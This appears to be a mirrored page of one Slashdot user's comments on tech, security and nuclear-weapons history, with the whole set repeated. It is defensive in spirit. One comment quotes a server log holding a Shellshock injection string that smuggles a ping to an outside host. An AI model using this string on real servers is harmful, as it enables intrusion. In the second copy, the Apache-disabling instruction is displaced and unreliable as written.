OK, so now you're encrypted from user to Cloudflare, in plaintext within Clouflare, and possibly in plaintext from Cloudflare to the destination site. That's more an illusion of security than real security. Even worse, if they have an SSL cert for your domain, they can impersonate you. Worst case, they have some cheezy cert with a huge number of unrelated domains, all of which can now impersonate each other.
LAX just runs people through huge powered revolving doors to enforce one-way traffic. They used to have a sign that said "Once you have passed this point you cannot return".
It's a fringe brand in that Ferrari is a fringe brand. I don't think most people wouldn't want one but I don't know a soul who has one. Very few have seen them.
We get a warped view here in Silicon Valley. Lots of Teslas. No Supercharger stations, though. There are a fair number of electric car outlets around, of too many varieties.
True. My Android phone has no Google account, so I disabled Google Account Manager, Google Bookmarks Sync, Google Contact Sync, Google One Time Init, Google Play Magazines, Google Play Movies and TV, Google Play Music, Google Play Store, Google+, Market Feedback Agent, and Picasa Uploader. No major problems.
Quite literally in this little square miles CORPORATIONS *ARE* PEOPLE. The corps vote like they are people, and the City of London police are their enforcement arm, giving the corporations police powers.
That's quite correct, and not an exaggeration. The "City of London" (now a tiny part of London) has a governmental structure left over from the Middle Ages. (It was codified in 1189AD, but is older than that.) It's one of the few holdovers from the feudal era that hasn't been modernized. The City of London Police should have been absorbed into the Metropolitan Police decades ago, but haven't been.
We've gone from "So clear you can hear a pin drop" to "Can you hear me now?!?"
Right. Cellular telephony just barely works now. There's lag as long as a second, even when the call supposedly isn't going over VoIP. (Sprint seems to have that problem.) There's occasional echo when the lag exceeds what the echo suppressors can handle. Background noise kills the cellular compression algorithm.
Apple needs to get their ruggedness act together. Meanwhile, here's a real phone, the Caterpillar B15.
Cat B15 tested by users. Dragged behind car. Used to play basketball. (As the ball, not as a computer game.) Dropped off bridge. Run through cement mixer. Frozen in bucket of ice. Run over by car. No problem.
Cat B15 tested by Caterpillar. Dropped into pool of water. Scooped out with heavy equipment. Run over by front end loader. (One of Cat's smaller front end loaders.) No problem.
It's an Android phone. The B15 runs Android 4.2; the new B15Q runs Android 4.4. Price around $300. Available in the US at Home Depot. Unlocked; pick any GSM carrier. T-Mobile works. No annoying carrier-provided apps. Caterpillar preloads apps for ordering Caterpillar heavy equipment parts and renting heavy equipment.
If you have one of these in a pocket, you will break before it will. I carry one of these horseback riding.
You say you're an experienced embedded-systems developer. Those are rare. Stay with that and get better at it. There are already a huge number of people grinding out appcrap, more than the app market can support. Soon there will be a glut of former phone app programmers, if there isn't already.
Try to get in on the back end of the "Internet of things". That crowd is overrun with appcrap people and has no clue about embedded.
The low-end 3D printers, the ones that try to weld ABS string together, still suck. TechShop has several of them. The Jet was a a flat failure. The Replicator 2 is OK if you're not building something more than about 2cm thick. I haven't tried the Type A Machines unit. In the end, it's a slow way to make prototype plastic parts that are inferior to injection-moulded ABS. Injection moulding requires machining a die, which is a big job, but then the production rate is high and the cost is very low.
The higher end printers have much better quality and more material options, but the machine cost is high and the process is slow. The really high end printers, the ones Space-X and Lockheed use to print aerospace parts, are very impressive, but still slow.
What, they're going to ship a VR headset without positional tracking? When you turn your head, nothing happens? That's not VR. That's a TV you wear on your head.
That's neat. The demo takes in the video from a video game of the Pong/Donkey Kong era, can operate the controls, and in addition has the score info. It then learns to play the game. How to do that?
It's been done before, but not this generally. "Pengi", circa 1990, played Pengo using only visual input from the screen. It had hand-written heuristics, but only needed vision input from the game. So we have a starting point.
The first problem is feature extraction from vision. What do you want to take from the image of the game that you can feed into an optimizer? Motion and change, mostly. Something like an MPEG encoder, which breaks an image into moving blocks and tracks their motion, would be needed. I doubt they're doing that with a neural net.
Now you have a large number of time-varying scalar values, which is what's needed to feed a neural net. The first thing to learn is how the controls affect the state of the game. Then, how the state of the game affects the score.
I wonder how fast this thing learns, and how many tries it needs.
FastCGI implementations are supposed to execute the specified executable without any parameters from the HTTP request. The FCGI program then reads and processes multiple HTTP requests, with no shell involvement. Unless the program invoked by FCGI itself invokes the shell (which PHP scripts can do), there should be no problem. I'm not a PHP user; someone with PHP internals expertise needs to look at that world for vunerabilities. Can arguments from the HTTP request make it into the environment of subshells invoked by PHP?
If you're running Apache on Linux/UNIX, and don't absolutely need CGI, turn it off now.
Put a "#" in front of LoadModule cgi_module modules/mod_cgi.so in/etc/httpd/conf/httpd.conf. This will totally disable all CGI scripts. That's a good thing. Apache is willing to execute CGI scripts from far too many directories, and many Linux distros have some default CGI scripts lying around.
Note that this will break CPanel, but not non-CGI admin tools such as Webmin.
People are out there probing. This is from an Apache server log today from a dedicated server I run.
The problem with programming language evaluations is that they tend to be based on small snippets of code, like this one, or data from novice student programmers, or worse, popularity. Yet what really tends to matter is how much trouble a language causes in large systems and in later years. That's where high costs are incurred because changes in module A affect something way over in module Z. Undetected cross-module bugs, high costs of changing something because too much has to be recompiled, that sort of thing. How much help the language gives you then matters.
A really good programming language study should digest data from change logs on some major open source projects.
I'm talking about a slightly later period. The third plutonium implosion bomb (Trinity was #1, Nagasaki was #2) was ready to go before the end of the war. Groves decided not to ship it to Tinian. Production rate was about one every 3 weeks.
But that design wasn't suitable for long-term storage. Wikipedia: "The lead-acid batteries that powered the fuzing system remained charged for only 36 hours, after which they needed to be recharged. To do this meant disassembling the bomb, and recharging took 72 hours. The batteries had to be removed in any case after nine days or they corroded. The plutonium core could not be left in for much longer, because its heat damaged the high explosives. Replacing the core also required the bomb to be completely disassembled and reassembled. This required about 40 to 50 men and took between 56 and 72 hours, depending on the skill of the bomb assembly team." It took a few more years to develop a bomb that was suitable for routine storage at an air base.
This already happened with desktop computers. A few years ago, we reached the point where basic desktop machines had a few 3GHz CPUS, a few gigabytes of memory, a terabyte or so of disk, and the capability to talk to a 100MHz Ethernet. There, things stopped. Desktop machines haven't become significantly more powerful since. They still power much of the business world, they work fine, and nobody is "upgrading". Innovation in desktops has become cosmetic - Apple makes one that comes in a round can.
Phones seem to be getting there. The iPhone 6 has no major technical improvements over the iPhone 5. Its specs are comparable to the Nexus 4 of two years ago. We may be approaching that point with phones.
It's amazing how bad many nuclear weapons were, and perhaps are. The Hiroshima gun bomb wasn't much better than an IED. If the Enola Gay had crashed, it probably would have gone off. (The crew was under orders not to land with the bomb; if they had to return to base, they were to dump it in deep water.)
For a while after WWII, the US didn't actually have any functional nuclear weapons. This was a major secret at the time. The war designs weren't suited for long-term storage. Nobody wanted another gun bomb, and the first generation electronics for triggering implosion didn't store well. A "GI-proof" line of bombs had to be developed.
The first round of Polaris missile warhead wouldn't have worked. This was learned only after there were SSBNs at sea with functional missiles and dud warheads. That took over a year to fix.
In recent years, there was a period for over a decade when the US had lost the ability to make new fusion bombs. The plant to make some obscure material had been shut down, and the proposed, cheaper replacement didn't work.
There was a tritium shortage for years. The old tritium production reactors were shut down years ago, and no replacement was built. The US is now producing tritium using a TVA power reactor loaded with some special fuel rods. Commercial use of tritium (exit signs and such) is way down from previous decades. (Tritium has a half-life of around 11 years, so tritium light sources do run down.)
The US was the last country with a gaseous-diffusion enrichment plant. The huge WWII-vintage plant at Oak Ridge was finally dismantled a few years ago. There's a centrifuge plant in the US, privately run by URENCO, a European company.
The US had a huge buildup of nuclear capability in the 1950s, and most of the plants date from that era. They're worn out and obsolete.
And that's the stuff we know about. Being a nuclear superpower isn't cheap.
This service has to be really cheap and fast to succeed. Iridium and GlobalStar already offer a satellite-based service. Iridium really does cover the entire planetary surface; GlobalStar has most of the planet, but not the polar areas. So it's all about being price-competitive.
I'm not qualified to judge whether it's secure, but it's not distributed.
"Each user is provided by PKG with a set of private keys corresponding to his/her identity for each node on the path from his/her associated leaf to the root of the tree via a secure channel as in IBE scheme." So there's a tree of all users, maintained by somebody. I think; the paper suffered in translation.
Slashdot Mirror
OK, so now you're encrypted from user to Cloudflare, in plaintext within Clouflare, and possibly in plaintext from Cloudflare to the destination site. That's more an illusion of security than real security. Even worse, if they have an SSL cert for your domain, they can impersonate you. Worst case, they have some cheezy cert with a huge number of unrelated domains, all of which can now impersonate each other.
LAX just runs people through huge powered revolving doors to enforce one-way traffic. They used to have a sign that said "Once you have passed this point you cannot return".
It's a fringe brand in that Ferrari is a fringe brand. I don't think most people wouldn't want one but I don't know a soul who has one. Very few have seen them.
We get a warped view here in Silicon Valley. Lots of Teslas. No Supercharger stations, though. There are a fair number of electric car outlets around, of too many varieties.
This is no big surprise. All the mammals have surprisingly similar DNA.
True. My Android phone has no Google account, so I disabled Google Account Manager, Google Bookmarks Sync, Google Contact Sync, Google One Time Init, Google Play Magazines, Google Play Movies and TV, Google Play Music, Google Play Store, Google+, Market Feedback Agent, and Picasa Uploader. No major problems.
Quite literally in this little square miles CORPORATIONS *ARE* PEOPLE. The corps vote like they are people, and the City of London police are their enforcement arm, giving the corporations police powers.
That's quite correct, and not an exaggeration. The "City of London" (now a tiny part of London) has a governmental structure left over from the Middle Ages. (It was codified in 1189AD, but is older than that.) It's one of the few holdovers from the feudal era that hasn't been modernized. The City of London Police should have been absorbed into the Metropolitan Police decades ago, but haven't been.
That's a beautiful little project.
We've gone from "So clear you can hear a pin drop" to "Can you hear me now?!?"
Right. Cellular telephony just barely works now. There's lag as long as a second, even when the call supposedly isn't going over VoIP. (Sprint seems to have that problem.) There's occasional echo when the lag exceeds what the echo suppressors can handle. Background noise kills the cellular compression algorithm.
Why don't we have CD-quality audio on phones?
What does Yahoo still do, anyway?
Apple needs to get their ruggedness act together. Meanwhile, here's a real phone, the Caterpillar B15.
Cat B15 tested by users. Dragged behind car. Used to play basketball. (As the ball, not as a computer game.) Dropped off bridge. Run through cement mixer. Frozen in bucket of ice. Run over by car. No problem.
Cat B15 tested by Caterpillar. Dropped into pool of water. Scooped out with heavy equipment. Run over by front end loader. (One of Cat's smaller front end loaders.) No problem.
It's an Android phone. The B15 runs Android 4.2; the new B15Q runs Android 4.4. Price around $300. Available in the US at Home Depot. Unlocked; pick any GSM carrier. T-Mobile works. No annoying carrier-provided apps. Caterpillar preloads apps for ordering Caterpillar heavy equipment parts and renting heavy equipment.
If you have one of these in a pocket, you will break before it will. I carry one of these horseback riding.
I know lots of people who go, but have no desire to go myself.
You say you're an experienced embedded-systems developer. Those are rare. Stay with that and get better at it. There are already a huge number of people grinding out appcrap, more than the app market can support. Soon there will be a glut of former phone app programmers, if there isn't already.
Try to get in on the back end of the "Internet of things". That crowd is overrun with appcrap people and has no clue about embedded.
The low-end 3D printers, the ones that try to weld ABS string together, still suck. TechShop has several of them. The Jet was a a flat failure. The Replicator 2 is OK if you're not building something more than about 2cm thick. I haven't tried the Type A Machines unit. In the end, it's a slow way to make prototype plastic parts that are inferior to injection-moulded ABS. Injection moulding requires machining a die, which is a big job, but then the production rate is high and the cost is very low.
The higher end printers have much better quality and more material options, but the machine cost is high and the process is slow. The really high end printers, the ones Space-X and Lockheed use to print aerospace parts, are very impressive, but still slow.
The real breakthrough in LED lighting is getting rid of electrolytic capacitors in the power supply. Those are currently the components with the shortest life. See "Elimination of an Electrolytic Capacitor in AC/DC Light-Emitting Diode (LED) Driver With High Input Power Factor and Constant Output Current" Variations on that technology are now going into production LED lighting units. This should push unit lifetimes up from 20,000 hours to that of the LEDs, 40,000 or so. (Provided the quality of the LEDs doesn't slip.)
It's time to demand that Fourth Amendment rights be taken as seriously as Second Amendment rights. That's starting to happen.
What, they're going to ship a VR headset without positional tracking? When you turn your head, nothing happens? That's not VR. That's a TV you wear on your head.
That's neat. The demo takes in the video from a video game of the Pong/Donkey Kong era, can operate the controls, and in addition has the score info. It then learns to play the game. How to do that?
It's been done before, but not this generally. "Pengi", circa 1990, played Pengo using only visual input from the screen. It had hand-written heuristics, but only needed vision input from the game. So we have a starting point.
The first problem is feature extraction from vision. What do you want to take from the image of the game that you can feed into an optimizer? Motion and change, mostly. Something like an MPEG encoder, which breaks an image into moving blocks and tracks their motion, would be needed. I doubt they're doing that with a neural net.
Now you have a large number of time-varying scalar values, which is what's needed to feed a neural net. The first thing to learn is how the controls affect the state of the game. Then, how the state of the game affects the score.
I wonder how fast this thing learns, and how many tries it needs.
FastCGI implementations are supposed to execute the specified executable without any parameters from the HTTP request. The FCGI program then reads and processes multiple HTTP requests, with no shell involvement. Unless the program invoked by FCGI itself invokes the shell (which PHP scripts can do), there should be no problem. I'm not a PHP user; someone with PHP internals expertise needs to look at that world for vunerabilities. Can arguments from the HTTP request make it into the environment of subshells invoked by PHP?
If you're running Apache on Linux/UNIX, and don't absolutely need CGI, turn it off now.
Put a "#" in front of /etc/httpd/conf/httpd.conf. This will totally disable all CGI scripts. That's a good thing. Apache is willing to execute CGI scripts from far too many directories, and many Linux distros have some default CGI scripts lying around.
LoadModule cgi_module modules/mod_cgi.so
in
Note that this will break CPanel, but not non-CGI admin tools such as Webmin.
People are out there probing. This is from an Apache server log today from a dedicated server I run.
89.207.135.125 - - [24/Sep/2014:23:08:56 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 338 "-" "() { :;}; /bin/ping
-c 1 198.101.206.138"
The problem with programming language evaluations is that they tend to be based on small snippets of code, like this one, or data from novice student programmers, or worse, popularity. Yet what really tends to matter is how much trouble a language causes in large systems and in later years. That's where high costs are incurred because changes in module A affect something way over in module Z. Undetected cross-module bugs, high costs of changing something because too much has to be recompiled, that sort of thing. How much help the language gives you then matters.
A really good programming language study should digest data from change logs on some major open source projects.
I'm talking about a slightly later period. The third plutonium implosion bomb (Trinity was #1, Nagasaki was #2) was ready to go before the end of the war. Groves decided not to ship it to Tinian. Production rate was about one every 3 weeks.
But that design wasn't suitable for long-term storage. Wikipedia: "The lead-acid batteries that powered the fuzing system remained charged for only 36 hours, after which they needed to be recharged. To do this meant disassembling the bomb, and recharging took 72 hours. The batteries had to be removed in any case after nine days or they corroded. The plutonium core could not be left in for much longer, because its heat damaged the high explosives. Replacing the core also required the bomb to be completely disassembled and reassembled. This required about 40 to 50 men and took between 56 and 72 hours, depending on the skill of the bomb assembly team." It took a few more years to develop a bomb that was suitable for routine storage at an air base.
This already happened with desktop computers. A few years ago, we reached the point where basic desktop machines had a few 3GHz CPUS, a few gigabytes of memory, a terabyte or so of disk, and the capability to talk to a 100MHz Ethernet. There, things stopped. Desktop machines haven't become significantly more powerful since. They still power much of the business world, they work fine, and nobody is "upgrading". Innovation in desktops has become cosmetic - Apple makes one that comes in a round can.
Phones seem to be getting there. The iPhone 6 has no major technical improvements over the iPhone 5. Its specs are comparable to the Nexus 4 of two years ago. We may be approaching that point with phones.
It's amazing how bad many nuclear weapons were, and perhaps are. The Hiroshima gun bomb wasn't much better than an IED. If the Enola Gay had crashed, it probably would have gone off. (The crew was under orders not to land with the bomb; if they had to return to base, they were to dump it in deep water.)
For a while after WWII, the US didn't actually have any functional nuclear weapons. This was a major secret at the time. The war designs weren't suited for long-term storage. Nobody wanted another gun bomb, and the first generation electronics for triggering implosion didn't store well. A "GI-proof" line of bombs had to be developed.
The first round of Polaris missile warhead wouldn't have worked. This was learned only after there were SSBNs at sea with functional missiles and dud warheads. That took over a year to fix.
In recent years, there was a period for over a decade when the US had lost the ability to make new fusion bombs. The plant to make some obscure material had been shut down, and the proposed, cheaper replacement didn't work.
There was a tritium shortage for years. The old tritium production reactors were shut down years ago, and no replacement was built. The US is now producing tritium using a TVA power reactor loaded with some special fuel rods. Commercial use of tritium (exit signs and such) is way down from previous decades. (Tritium has a half-life of around 11 years, so tritium light sources do run down.)
The US was the last country with a gaseous-diffusion enrichment plant. The huge WWII-vintage plant at Oak Ridge was finally dismantled a few years ago. There's a centrifuge plant in the US, privately run by URENCO, a European company.
The US had a huge buildup of nuclear capability in the 1950s, and most of the plants date from that era. They're worn out and obsolete.
And that's the stuff we know about. Being a nuclear superpower isn't cheap.
This service has to be really cheap and fast to succeed. Iridium and GlobalStar already offer a satellite-based service. Iridium really does cover the entire planetary surface; GlobalStar has most of the planet, but not the polar areas. So it's all about being price-competitive.
I'm not qualified to judge whether it's secure, but it's not distributed. "Each user is provided by PKG with a set of private keys corresponding to his/her identity for each node on the path from his/her associated leaf to the root of the tree via a secure channel as in IBE scheme." So there's a tree of all users, maintained by somebody. I think; the paper suffered in translation.